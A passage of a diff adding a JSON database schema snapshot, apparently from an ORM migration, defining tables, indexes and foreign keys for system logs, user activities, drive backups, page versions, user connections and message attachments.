"expression": "firstEntryId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_siem_receipts_last_entry": { + "name": "idx_siem_receipts_last_entry", + "columns": [ + { + "expression": "lastEntryId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_siem_receipts_delivered_at": { + "name": "idx_siem_receipts_delivered_at", + "columns": [ + { + "expression": "deliveredAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_siem_receipts_source_range": { + "name": "idx_siem_receipts_source_range", + "columns": [ + { + "expression": "source", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "firstEntryTimestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lastEntryTimestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.system_logs": { + "name": "system_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "level": { + "name": "level", + "type": "log_level", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "category": { + "name": "category", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "request_id": { + "name": "request_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "endpoint": { + "name": "endpoint", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "method": { + "name": "method", + "type": "http_method", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "ip": { + "name": "ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_name": { + "name": "error_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_message": { + "name": "error_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_stack": { + "name": "error_stack", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "duration": { + "name": "duration", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "memory_used": { + "name": "memory_used", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "memory_total": { + "name": "memory_total", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "hostname": { + "name": "hostname", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pid": { + "name": "pid", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "version": { + "name": "version", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_system_logs_timestamp": { + "name": "idx_system_logs_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_system_logs_level": { + "name": "idx_system_logs_level", + "columns": [ + { + "expression": "level", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_system_logs_category": { + "name": "idx_system_logs_category", + "columns": [ + { + "expression": "category", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_system_logs_user_id": { + "name": "idx_system_logs_user_id", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_system_logs_request_id": { + "name": "idx_system_logs_request_id", + "columns": [ + { + "expression": "request_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_system_logs_error": { + "name": "idx_system_logs_error", + "columns": [ + { + "expression": "error_name", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_activities": { + "name": "user_activities", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "action": { + "name": "action", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource": { + "name": "resource", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resource_id": { + "name": "resource_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "ip": { + "name": "ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_user_activities_timestamp": { + "name": "idx_user_activities_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_user_activities_user_id": { + "name": "idx_user_activities_user_id", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_user_activities_action": { + "name": "idx_user_activities_action", + "columns": [ + { + "expression": "action", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_user_activities_resource": { + "name": "idx_user_activities_resource", + "columns": [ + { + "expression": "resource", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_files": { + "name": "drive_backup_files", + "schema": "", + "columns": { + "backupId": { + "name": "backupId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "storagePath": { + "name": "storagePath", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sizeBytes": { + "name": "sizeBytes", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "mimeType": { + "name": "mimeType", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "checksumVersion": { + "name": "checksumVersion", + "type": "integer", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backup_files_backup_idx": { + "name": "drive_backup_files_backup_idx", + "columns": [ + { + "expression": "backupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_files_backupId_drive_backups_id_fk": { + "name": "drive_backup_files_backupId_drive_backups_id_fk", + "tableFrom": "drive_backup_files", + "tableTo": "drive_backups", + "columnsFrom": [ + "backupId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_backup_files_backupId_fileId_pk": { + "name": "drive_backup_files_backupId_fileId_pk", + "columns": [ + "backupId", + "fileId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_members": { + "name": "drive_backup_members", + "schema": "", + "columns": { + "backupId": { + "name": "backupId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "customRoleId": { + "name": "customRoleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "invitedBy": { + "name": "invitedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "invitedAt": { + "name": "invitedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "acceptedAt": { + "name": "acceptedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backup_members_backup_idx": { + "name": "drive_backup_members_backup_idx", + "columns": [ + { + "expression": "backupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_members_backupId_drive_backups_id_fk": { + "name": "drive_backup_members_backupId_drive_backups_id_fk", + "tableFrom": "drive_backup_members", + "tableTo": "drive_backups", + "columnsFrom": [ + "backupId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_backup_members_backupId_userId_pk": { + "name": "drive_backup_members_backupId_userId_pk", + "columns": [ + "backupId", + "userId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_pages": { + "name": "drive_backup_pages", + "schema": "", + "columns": { + "backupId": { + "name": "backupId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageVersionId": { + "name": "pageVersionId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "parentId": { + "name": "parentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "originalParentId": { + "name": "originalParentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "isTrashed": { + "name": "isTrashed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "trashedAt": { + "name": "trashedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backup_pages_backup_idx": { + "name": "drive_backup_pages_backup_idx", + "columns": [ + { + "expression": "backupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_pages_backupId_drive_backups_id_fk": { + "name": "drive_backup_pages_backupId_drive_backups_id_fk", + "tableFrom": "drive_backup_pages", + "tableTo": "drive_backups", + "columnsFrom": [ + "backupId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_backup_pages_pageVersionId_page_versions_id_fk": { + "name": "drive_backup_pages_pageVersionId_page_versions_id_fk", + "tableFrom": "drive_backup_pages", + "tableTo": "page_versions", + "columnsFrom": [ + "pageVersionId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_backup_pages_backupId_pageId_pk": { + "name": "drive_backup_pages_backupId_pageId_pk", + "columns": [ + "backupId", + "pageId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_permissions": { + "name": "drive_backup_permissions", + "schema": "", + "columns": { + "backupId": { + "name": "backupId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "canView": { + "name": "canView", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "canEdit": { + "name": "canEdit", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "canShare": { + "name": "canShare", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "canDelete": { + "name": "canDelete", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "grantedBy": { + "name": "grantedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "note": { + "name": "note", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backup_permissions_backup_idx": { + "name": "drive_backup_permissions_backup_idx", + "columns": [ + { + "expression": "backupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_permissions_backupId_drive_backups_id_fk": { + "name": "drive_backup_permissions_backupId_drive_backups_id_fk", + "tableFrom": "drive_backup_permissions", + "tableTo": "drive_backups", + "columnsFrom": [ + "backupId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_backup_permissions_backupId_pageId_userId_pk": { + "name": "drive_backup_permissions_backupId_pageId_userId_pk", + "columns": [ + "backupId", + "pageId", + "userId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_roles": { + "name": "drive_backup_roles", + "schema": "", + "columns": { + "backupId": { + "name": "backupId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "roleId": { + "name": "roleId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isDefault": { + "name": "isDefault", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "drive_wide_permissions": { + "name": "drive_wide_permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "NULL" + }, + "position": { + "name": "position", + "type": "real", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backup_roles_backup_idx": { + "name": "drive_backup_roles_backup_idx", + "columns": [ + { + "expression": "backupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_roles_backupId_drive_backups_id_fk": { + "name": "drive_backup_roles_backupId_drive_backups_id_fk", + "tableFrom": "drive_backup_roles", + "tableTo": "drive_backups", + "columnsFrom": [ + "backupId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_backup_roles_backupId_roleId_pk": { + "name": "drive_backup_roles_backupId_roleId_pk", + "columns": [ + "backupId", + "roleId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_schedules": { + "name": "drive_backup_schedules", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "frequency": { + "name": "frequency", + "type": "drive_backup_schedule_frequency", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'daily'" + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'UTC'" + }, + "nextRunAt": { + "name": "nextRunAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastRunAt": { + "name": "lastRunAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "drive_backup_schedules_enabled_next_run_idx": { + "name": "drive_backup_schedules_enabled_next_run_idx", + "columns": [ + { + "expression": "enabled", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "nextRunAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_schedules_driveId_drives_id_fk": { + "name": "drive_backup_schedules_driveId_drives_id_fk", + "tableFrom": "drive_backup_schedules", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_backup_schedules_driveId_unique": { + "name": "drive_backup_schedules_driveId_unique", + "nullsNotDistinct": false, + "columns": [ + "driveId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backups": { + "name": "drive_backups", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "orgVisibility": { + "name": "orgVisibility", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "drive_backup_source", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'manual'" + }, + "status": { + "name": "status", + "type": "drive_backup_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupId": { + "name": "changeGroupId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupType": { + "name": "changeGroupType", + "type": "activity_change_group_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "isPinned": { + "name": "isPinned", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "completedAt": { + "name": "completedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "failedAt": { + "name": "failedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "failureReason": { + "name": "failureReason", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backups_drive_created_at_idx": { + "name": "drive_backups_drive_created_at_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_backups_status_idx": { + "name": "drive_backups_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backups_driveId_drives_id_fk": { + "name": "drive_backups_driveId_drives_id_fk", + "tableFrom": "drive_backups", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_backups_createdBy_users_id_fk": { + "name": "drive_backups_createdBy_users_id_fk", + "tableFrom": "drive_backups", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "drive_backups_change_group_pair": { + "name": "drive_backups_change_group_pair", + "value": "(\"drive_backups\".\"changeGroupId\" IS NULL) = (\"drive_backups\".\"changeGroupType\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.page_versions": { + "name": "page_versions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "page_version_source", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'auto'" + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupId": { + "name": "changeGroupId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupType": { + "name": "changeGroupType", + "type": "activity_change_group_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "contentRef": { + "name": "contentRef", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contentFormat": { + "name": "contentFormat", + "type": "content_format", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "contentSize": { + "name": "contentSize", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "stateHash": { + "name": "stateHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pageRevision": { + "name": "pageRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "isPinned": { + "name": "isPinned", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "page_versions_page_created_at_idx": { + "name": "page_versions_page_created_at_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_versions_drive_created_at_idx": { + "name": "page_versions_drive_created_at_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_versions_pinned_idx": { + "name": "page_versions_pinned_idx", + "columns": [ + { + "expression": "isPinned", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_versions_page_id_is_pinned_created_at_idx": { + "name": "page_versions_page_id_is_pinned_created_at_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isPinned", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "page_versions_pageId_pages_id_fk": { + "name": "page_versions_pageId_pages_id_fk", + "tableFrom": "page_versions", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_versions_driveId_drives_id_fk": { + "name": "page_versions_driveId_drives_id_fk", + "tableFrom": "page_versions", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_versions_createdBy_users_id_fk": { + "name": "page_versions_createdBy_users_id_fk", + "tableFrom": "page_versions", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "page_versions_change_group_pair": { + "name": "page_versions_change_group_pair", + "value": "(\"page_versions\".\"changeGroupId\" IS NULL) = (\"page_versions\".\"changeGroupType\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.connections": { + "name": "connections", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user1Id": { + "name": "user1Id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user2Id": { + "name": "user2Id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "ConnectionStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'PENDING'" + }, + "requestedBy": { + "name": "requestedBy", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "requestMessage": { + "name": "requestMessage", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requestedAt": { + "name": "requestedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "acceptedAt": { + "name": "acceptedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "blockedBy": { + "name": "blockedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "blockedAt": { + "name": "blockedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "connections_user1_id_idx": { + "name": "connections_user1_id_idx", + "columns": [ + { + "expression": "user1Id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connections_user2_id_idx": { + "name": "connections_user2_id_idx", + "columns": [ + { + "expression": "user2Id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connections_status_idx": { + "name": "connections_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connections_user1_status_idx": { + "name": "connections_user1_status_idx", + "columns": [ + { + "expression": "user1Id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connections_user2_status_idx": { + "name": "connections_user2_status_idx", + "columns": [ + { + "expression": "user2Id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "connections_user1Id_users_id_fk": { + "name": "connections_user1Id_users_id_fk", + "tableFrom": "connections", + "tableTo": "users", + "columnsFrom": [ + "user1Id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "connections_user2Id_users_id_fk": { + "name": "connections_user2Id_users_id_fk", + "tableFrom": "connections", + "tableTo": "users", + "columnsFrom": [ + "user2Id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "connections_requestedBy_users_id_fk": { + "name": "connections_requestedBy_users_id_fk", + "tableFrom": "connections", + "tableTo": "users", + "columnsFrom": [ + "requestedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "connections_blockedBy_users_id_fk": { + "name": "connections_blockedBy_users_id_fk", + "tableFrom": "connections", + "tableTo": "users", + "columnsFrom": [ + "blockedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "connections_user_pair_key": { + "name": "connections_user_pair_key", + "nullsNotDistinct": false, + "columns": [ + "user1Id", + "user2Id" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.direct_message_attachments": { + "name": "direct_message_attachments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "messageId": { + "name": "messageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + 